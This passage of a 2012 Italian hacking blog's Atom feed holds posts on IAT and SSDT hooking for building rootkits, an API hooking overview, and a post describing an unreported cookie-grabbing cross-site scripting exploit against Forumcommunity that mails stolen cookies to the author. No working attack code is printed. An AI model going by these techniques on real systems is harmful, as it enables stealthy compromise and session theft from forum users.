</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/3158902247252426261/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/11/scaricare-musica-ad-alta-qualita.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/3158902247252426261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/3158902247252426261'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/11/scaricare-musica-ad-alta-qualita.html' title='Scaricare musica GRATIS ad alta qualità direttamente da Iphone'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxRwfcPPUP-koyqUxYLZyOgoh1YDeaffJFCjdoc5rycHTio-bcmsVd2uZNqX686ds3jnYILUu5d9V4m5GbdomKsc35MVYTlbQIvG1zNNYtEmOX0Q9KbAbOIyETjc6LlaC7zXpyNin0jDyE/s72-c/blogger-image-208455104.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-5988698790078475785</id><published>2012-09-20T13:14:00.000+02:00</published><updated>2012-09-20T13:15:40.282+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><title type='text'>IAT Hooking, Rootkit in User Mode</title><content type='html'>Nello &lt;a href=&quot;http://duxhack.blogspot.it/2012/09/ssdt-hooking-rootkits-in-kernel-mode.html&quot;&gt;scorso articolo&lt;/a&gt;&amp;nbsp;abbiamo parlato dell&#39;SSDT Hooking, nonchè dello sviluppo di rootkits che agivano in kernel mode. Oggi invece voglio parlarvi dello sviluppo di un rootkit che agisce in user mode, cioè non sfruttando le api native e quindi operando semplicemente a ring 3 come un normalissimo programma.&lt;br /&gt;
Vorrei illustrarvi, più precisamente, come effettuare una IAT hooking manuale, semplicemente sfruttando il nostro debugger.&lt;br /&gt;
&lt;br /&gt;
Come dovreste già sapere la RAM, come dice la parola stessa, è una memoria ad accesso casuale. Quando il loader di windows viene interpellato per caricare un programma provvisto della signature del PE, la prima cosa che fa è caricare l&#39;immagine del programma in memoria, insieme a tutte le librerie dinamiche (dll) a cui questo si appoggia. Quindi il loader caricherà tutte le funzioni che servono al programma in memoria, ma queste avranno un indirizzo assolutamente casuale e quindi, se il programma fosse adibito a chiamare esclusivamente una funzione ad un indirizzo preciso, potrebbe non trovarla e magari incappare in un aria di memoria inutilizzata oppure utilizzata da qualche altro programma. Per questo il loader di windows al momento del caricamento delle dll va a compilare una tabella chiamata IAT (&lt;b&gt;I&lt;/b&gt;mport &lt;b&gt;A&lt;/b&gt;ddress &lt;b&gt;T&lt;/b&gt;able), e il programma ogni volta che dovrà effettuare una call andrà ad interpellare prima questa tabella.&lt;br /&gt;
&lt;br /&gt;
Dopo questa storiella, dovreste aver già capito cos&#39;è lo IAT hooking, ma ve lo dico esplicitamente: è la modifica della IAT al fine di redirectare una call verso un&#39;altra funzione creata ad hoc da noi.&lt;br /&gt;
&lt;br /&gt;
Io in questo articolo voglio mostrarvi come effettuare questa tecnica per modificare una MessageBox manualmente tramite OllyDBG non modificando la funzione stessa in alcun modo. Questo però non centra niente con il vero processo di creazione di un rootkit.&lt;br /&gt;
Spesso viene usata la dll injection per questo scopo, ma è un pò più complicato, anche se, assolutamente niente di impossibile.&lt;br /&gt;
Prima di iniziare, infine, vorrei dire che è LA tecnica più rilevata e banale per fare un rootkit, ma secondo me vale la pena sapere di che cosa si tratta.&lt;br /&gt;
&lt;br /&gt;
Iniziamo con crearci il nostro programma vulnerabile in C:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;// IAT Hooking.c //&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;// Visit DuxHack.blogspot.com //&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;#include &amp;lt;conio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;#include &amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;int&lt;/b&gt; main(&lt;b&gt;void&lt;/b&gt;)&lt;br /&gt;
{&lt;br /&gt;
MessageBox(NULL,&quot;&lt;span style=&quot;color: red;&quot;&gt;MessageBox&lt;/span&gt;&quot;,&quot;&lt;span style=&quot;color: red;&quot;&gt;IAT Hooking&lt;/span&gt;&quot;,MB_OK);&lt;br /&gt;
}&lt;br /&gt;
&lt;div&gt;-------------------------------------------------------------------------------&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Bene, adesso apriamolo con OllyDBG e mettiamo un BreackPoint sulla call alla MessageBox, come nell&#39;immagine:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZtSATdT9PRT1UxtNRWxOZgbJqwKYvyMECnGyC35fnyLJokdKXDXa9Xohgk1uB2fB-TAiuRwJ-RGUAkVFPfpABNJ9FWwqEC9pHx2H5uKfqeWoluOI0KQcng8i2-7RpUT1WjtF3XkNcTqZe/s1600/Bp+on+MsgBox.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZtSATdT9PRT1UxtNRWxOZgbJqwKYvyMECnGyC35fnyLJokdKXDXa9Xohgk1uB2fB-TAiuRwJ-RGUAkVFPfpABNJ9FWwqEC9pHx2H5uKfqeWoluOI0KQcng8i2-7RpUT1WjtF3XkNcTqZe/s1600/Bp+on+MsgBox.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Adesso che ci siamo sopra, guardiamo in basso e vediamo che c&#39;è un indirizzo che ci interessa:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-r7SwhlTYZwuKAvPZtkYDCP1UVOrYhEyw3mhT6rdRmYQgan0Pv12FnwHAuB0lHU3u0Zc7YdXWgjst7qRBrsE-4rVzd5XV24nd-uJydh5G5we1orECU0Gx9rTYC2YrEIMRoav2okXuwgwe/s1600/Bp+on+MsgBox+2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-r7SwhlTYZwuKAvPZtkYDCP1UVOrYhEyw3mhT6rdRmYQgan0Pv12FnwHAuB0lHU3u0Zc7YdXWgjst7qRBrsE-4rVzd5XV24nd-uJydh5G5we1orECU0Gx9rTYC2YrEIMRoav2okXuwgwe/s1600/Bp+on+MsgBox+2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Eccolo, è proprio quel &quot;00401870&quot; che ci interessa. Andiamo a questo indirizzo e possiamo vedere una cosa del genere:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFYIJvRy-jANbu2AfrtTqGOmJLcfMMzj1rEXnoBKVp22nWE6-69ljgJa_0ziabHcNLyMtwP2CMN9eFzmnaYteQlzQXtOPnykmNuEulTpRZsAvanMpWWnu6JRfAHTVSz7kpkn-zYjSCeeyZ/s1600/Bp+on+MsgBox+3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFYIJvRy-jANbu2AfrtTqGOmJLcfMMzj1rEXnoBKVp22nWE6-69ljgJa_0ziabHcNLyMtwP2CMN9eFzmnaYteQlzQXtOPnykmNuEulTpRZsAvanMpWWnu6JRfAHTVSz7kpkn-zYjSCeeyZ/s1600/Bp+on+MsgBox+3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;In basso c&#39;è l&#39;indirizzo dove attualmente il loader di windows, ha mappato la call originale &quot;MessageBoxA&quot; della &quot;User32.dll&quot;.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Adesso premete il tasto destro e trovate la voce &quot;View&quot; e selezionate appunto &quot;Module User32&quot; tenendo bene a mente l&#39;indirizzo. Fate &quot;Go to&quot; e mettete l&#39;indirzzo.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Bene siete esattamente nella procedura della call. Adesso, non dovrete fare altro che trovare un code cave oppure crearvelo e metterci una bella call ad una chiamata che volete voi, preceduta ovviamente dai suoi parametri. Quindi modificare la Call all&#39;interno della dll redirectandola alla vostra API. Avrete ottenuto il risultato voluto.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/5988698790078475785/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/09/guidaiat-hooking-rootkit-in-user-mode.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5988698790078475785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5988698790078475785'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/09/guidaiat-hooking-rootkit-in-user-mode.html' title='IAT Hooking, Rootkit in User Mode'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZtSATdT9PRT1UxtNRWxOZgbJqwKYvyMECnGyC35fnyLJokdKXDXa9Xohgk1uB2fB-TAiuRwJ-RGUAkVFPfpABNJ9FWwqEC9pHx2H5uKfqeWoluOI0KQcng8i2-7RpUT1WjtF3XkNcTqZe/s72-c/Bp+on+MsgBox.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-2232509216294244021</id><published>2012-09-13T13:18:00.002+02:00</published><updated>2012-09-14T11:32:42.746+02:00</updated><title type='text'>SSDT Hooking, Rootkits in Kernel mode</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXd3_MNWwggpZznJR08uhqZK2WxXB6TQKJ0PU1ZdIPLWYZZCMT13ehLynKmns8mmr9j1MeiH8ZJbLEJ_flAeolY_-c6JzYiiX6WVkWvqNrvpyBJ2-05eU_3H3fKV9Ny7QrvHgvVmnEhZF/s1600/SSDT+Hooking.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXd3_MNWwggpZznJR08uhqZK2WxXB6TQKJ0PU1ZdIPLWYZZCMT13ehLynKmns8mmr9j1MeiH8ZJbLEJ_flAeolY_-c6JzYiiX6WVkWvqNrvpyBJ2-05eU_3H3fKV9Ny7QrvHgvVmnEhZF/s400/SSDT+Hooking.png&quot; width=&quot;358&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span inherit=&quot;inherit&quot;&gt;Iniziamo il &quot;nuovo anno&quot;, finite le vacanze, con un argomento molto interessante, cioè lo sviluppo di un rootkit in kernel mode.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Innanzitutto, bisogna sapere che un rootkit è un insieme di programmi che permette ad un attaccante di violare un computer ottenendo i massimi privilegi possibili (privilegi di root) in modo non rilevabile e permanente.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;La parola stessa quindi deriva da &quot;kit di root&quot;.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;In questo articolo andremo ad analizzare i rootkit che agiscono in kernel mode con architetture a 32bit, più precisamente, quei rootkit che sfruttano la scarsa sicurezza della System Service Descriptor Table (SSDT) del kernel NT.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Ci terrei a precisare che questa tecnica è nata insieme ai primi rootkit, non ufficialmente, intorno al 2000 ed è, in questo momento, forse la tecnica più banale e più rilevata dai sistemi anti-rootkit in circolazione, a causa dell&#39;enorme mole di materiale sul web che ne illustra (spesso con l&#39;ausilio di codici completi) il suo funzionamento.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;La tabella SSDT è una delle più importanti tabelle di tutto il kernel Nt, ed è quella che comunemente è chiamata &quot;Dispatch Table&quot;, cioè tabella di indirizzamento perché serve al sistema operativo per indirizzare le applicazione che operano a ring 3 (User mode) alle API native. Si trova in una struttura chiamata KeServiceDescriptorTable. Le API native, appunto, sono API fornite dal kernel per permettere alle API dei sotto sistemi (win32 ecc..) di svolgere determinate operazioni possibili solo in kernel mode.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Dentro la suddetta tabella, quindi, troviamo un array di puntatori che puntano a queste API.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Quindi, in linea teorica, noi non potremmo usare le API native, perché sarebbe come operare in kernel mode e infatti il kernel prevede che il sistema di funzionamento di un applicativo sia: Applicativo -&amp;gt; API del sottosistema -&amp;gt; API Nativa -&amp;gt; Kernel NT.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;I rootkit che operano a 32 bit sfruttano appunto la tabella SSDT per interfacciarsi direttamente con il kernel, usando un sistema di funzionamento diverso, cioè: Applicativo -&amp;gt; API Nativa -&amp;gt; Kernel NT.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Il rootkit ha quindi, il compito di:&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;-Trovare l&#39;indirizzo della tabella SSDT, importanto la struttura della KeServiceDescriptorTable&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;-Leggere l&#39;indirizzo dell&#39; API nativa che gli interessa&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;-Richiamare l&#39;API nativa e quindi avere, con i limiti dell&#39;API stessa, i massimi privilegi sul sistema.&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Come al solito, non posso dilungarmi troppo e spiegare tutto il procedimento di creazione di un rootkit qua in questo articolo, ma vi consiglio di scaricare questo interessantissimo PDF in italiano&amp;nbsp;&lt;a href=&quot;http://www.mediafire.com/?xbv0xu06aep2ps4&quot; rel=&quot;nofollow&quot; style=&quot;-webkit-box-shadow: none !important; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Rootkits.pdf&lt;/span&gt;&lt;/a&gt;&amp;nbsp;e se volete qualcosa di più pratico, vi consiglio questo articolo:&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.unknowncheats.me/forum/c-and-c/59147-writing-drivers-perform-kernel-level-ssdt-hooking.html&quot; rel=&quot;nofollow&quot; style=&quot;-webkit-box-shadow: none !important; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;[Tutorial] Writing drivers to perform kernel-level SSDT hooking&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;http://www.unknowncheats.me/forum/c-and-c/59147-writing-drivers-perform-kernel-level-ssdt-hooking.html&quot; rel=&quot;nofollow&quot; style=&quot;-webkit-box-shadow: none !important; color: #b02f1e; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;.&lt;/a&gt;&amp;nbsp;. Poi consiglio per approfondimenti di cercare un po su google, anche se è necessaria la conoscenza dell&#39;inglese&lt;br style=&quot;-webkit-box-shadow: none !important;&quot; /&gt;Se avete problemi a comprendere la guida che vi ho linkato, chiedete pure e cercherò, come sempre, di rendere la cosa un po più semplice, anche se penso che sia molto chiara.&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
Vorrei comunque accennarvi che con l&#39;avvento della tecnologia a 64 bit non è più così semplice fare un rootkit che agisce&amp;nbsp;tramite l&#39;SSDT Hooking, perché la microsoft, si è resa conto che il suo kernel era un pò titubante e ha deciso di implementare&amp;nbsp;una specie di sistema di sicurezza, che però ovviamente è vulnerabile ugualmente (solo la microsoft può farsi bucare in così poco tempo)&amp;nbsp;cioè, la SSDT adesso è formata da un array di puntatori ottenuti dall&#39;operazione:&amp;nbsp;(Indirizzo Funzione Nativa - Indirizzo KiServiceTable) &amp;lt;&amp;lt; 4&lt;br /&gt;
Questa &quot;protezione&quot; è bypassabile con un driver dove è implementato un algoritmo di analisi della KeSystemServiceStart.&lt;br /&gt;
&lt;br /&gt;
Spero quindi di aver suscitato in voi un minimo di interesse in quello che è lo studio della sicurezza informatica, che come al solito&amp;nbsp;alla fine, non può che trasformarsi, in un modo per studiare nuovi sistemi per attaccare il sistema.&lt;br /&gt;
&lt;br /&gt;
A breve farò anche un&#39;articolo quasi alla portata di tutti, che spiega come sfruttare la IAT Hooking su un programma per manipolarlo a nostro piacimento.
&lt;br /&gt;
Intanto, buono studio</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/2232509216294244021/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/09/ssdt-hooking-rootkits-in-kernel-mode.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2232509216294244021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2232509216294244021'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/09/ssdt-hooking-rootkits-in-kernel-mode.html' title='SSDT Hooking, Rootkits in Kernel mode'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXd3_MNWwggpZznJR08uhqZK2WxXB6TQKJ0PU1ZdIPLWYZZCMT13ehLynKmns8mmr9j1MeiH8ZJbLEJ_flAeolY_-c6JzYiiX6WVkWvqNrvpyBJ2-05eU_3H3fKV9Ny7QrvHgvVmnEhZF/s72-c/SSDT+Hooking.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-7276091965140710996</id><published>2012-07-19T11:24:00.000+02:00</published><updated>2012-09-17T15:33:59.705+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><title type='text'>Exploit Cookie Grabbing Forumcommunity</title><content type='html'>Dopo qualche settimana dalla scoperta dello 0-day che permetteva l&#39;esecuzione del codice javascript illecito su piattaforme quali Forumcommunity e ForumFree, sono arrivato a sviluppare un exploit che permetterebbe all&#39;attaccante di creare un forum che grabbi i cookie degli utenti che lo visitano.&lt;br /&gt;
&lt;br /&gt;
Ho voluto fare questo articolo, come d&#39;altronde anche il video, per avvertirvi di stare attenti a tutti i forum che ritenete sospetti, perché sotto la grafica accattivante, potrebbe nascondersi un cookie grabber perfettamente camuffato. Nel mio exploit ho messo semplicemente un redirect tramite la location.href e la document.cookie ad una pagina PHP che prende in GET i dati passati dalla piattaforma e li immagazzina in variabili che vengono in seguito inviate tramite la funzione Mail () a me.Ovviamente quando mi deciderò a trarre conclusioni delle potenzialità dell&#39;exploit, lo segnalerò. Però tutto questo, dimostra come la sicurezza di questa piattaforma sia veramente precaria.&lt;br /&gt;
&lt;br /&gt;
Non so quante persone siano a conoscenza di questo exploit, ma è sempre meglio stare attenti, non credete?&lt;br /&gt;
&lt;br /&gt;
Ecco il video illusrativo:&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/_sxv9oKzxe8&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/7276091965140710996/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/07/exploit-cookie-grabbing-forumcommunity.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7276091965140710996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7276091965140710996'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/07/exploit-cookie-grabbing-forumcommunity.html' title='Exploit Cookie Grabbing Forumcommunity'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/_sxv9oKzxe8/default.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-5951386988553105687</id><published>2012-07-12T13:55:00.000+02:00</published><updated>2012-07-12T13:55:03.347+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="sicurezza"/><title type='text'>API Hooking, reversing avanzato</title><content type='html'>&lt;br /&gt;
Vorrei come prima cosa, chiarire il concetto di &lt;b&gt;User Mode&lt;/b&gt; e &lt;b&gt;Kernel Mode&lt;/b&gt;, che può servire in tutti i campi informatici.&lt;br /&gt;
Chi ha studiato, come me, un minimo il funzionamento dei rootkits sa questa differenza molto bene, ma vediamo di rinfrescare la memoria. L&#39;architettura X86, è nata nel 1985, e aveva un sistema di sicurezza basato su 4 anelli. Questi anelli, vengono tutt&#39;ora definiti come &quot;Ring 0/1/2/3&quot; (proprio come gli array in C). Gli anelli permettono o vietano ai programmi determinate azioni, secondo i così detti &quot;permessi&quot;. Un programma che opera in Ring 0, è un programma che opera in Kernel Mode, e ha i massimi privilegi possibili (ci sarebbe anche una specie di Ring -1, scoperto da un&#39;esperta di sicurezza informatica che ha ufficializzato il suo rootkit chiamato &quot;la pillola blu, o meglio &quot;The blue pill&quot;. Questo livello viene inoltre usato dai programmi che permettono la virtualizzazione di un sistema operativo, come VirtualBox o VMWare) invece un programma che opera con un Ring 3 è un normale programma, ed opera in User Mode. Ci sarebbe molto altro da dire, ma lasciamo perdere per adesso, perché non centra con l&#39;articolo.&lt;br /&gt;
&lt;br /&gt;
Dopo questa premessa passiamo all&#39;API Hooking che è un argomento che si divide appunto in user mode e kernel mode.&lt;br /&gt;
Questa tecnica è usata in due campi che possiamo definire simili e opposti allo stesso tempo, cioè il campo della programmazione e quello del reverse engineering.&lt;br /&gt;
Ma prima di vedere i due aspetti, vorrei introdurre il concetto: parlando di &quot;&lt;b&gt;hooking&lt;/b&gt;&quot;, intendiamo la capacità di intercettare l&#39;esecuzione di una Call o di un Jump, al fine di monitorarli, oppure modificare l&#39;applicativo.&lt;br /&gt;
Per quanto riguarda la programmazione, parliamo di hooking, ovviamente, per creare applicativi in grado di monitorare determinate funzioni, e questo ci è reso più semplice, grazie all&#39;uso di determinate librerie quali &quot;Hook API SDK&quot; oppure &quot;EasyHooking.dll&quot; ecc...&lt;br /&gt;
&lt;br /&gt;
Per quanto riguarda il campo del reverse engineering, ormai dovreste aver capito di cosa andremo a parlare, cioè la capacità di modificare una chiamata ad un API di una libreria esterna (sui file .dll o .os)&lt;br /&gt;
Per fare una cosa del genere, abbiamo tante strade e tra le più usate e più intuibili, ci sono queste:&lt;br /&gt;
&lt;br /&gt;
-Cambiare l&#39;address della Call/Jmp&lt;br /&gt;
&lt;br /&gt;
Questa tecnica però richiede che i campi della Call/Jmp originale, siano uguali a quelli dell&#39;API a cui redirecteremo la Call/Jmp&lt;br /&gt;
&lt;br /&gt;
-Modificare le IAT (&lt;b&gt;I&lt;/b&gt;mport &lt;b&gt;A&lt;/b&gt;ddress &lt;b&gt;T&lt;/b&gt;ables)&lt;br /&gt;
&lt;br /&gt;
Tutte le informazione su questo sono reperibili nella guida di Jeffrey Richer: &quot;Advanced Windows&quot;, comunque sia, non so bene quando, farò un articolo specifico su questo.&lt;br /&gt;
&lt;br /&gt;
-Alterare le dll sulla quale l&#39;applicativo appoggia.&lt;br /&gt;
&lt;br /&gt;
Questa tecnica si può definire come una tecnica di MITM, cioè, se l&#39;applicativo appoggia sulla dll &quot;kernel32.dll&quot;, noi andremo a modificare l&#39;applicativo in modo che vada a finire su una nostra dll, chiamata ad esempio &quot;dummy.dll&quot;, la quale eseguirà la sua Call e rimanderà alla kernel32, come illustrato in figura:&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
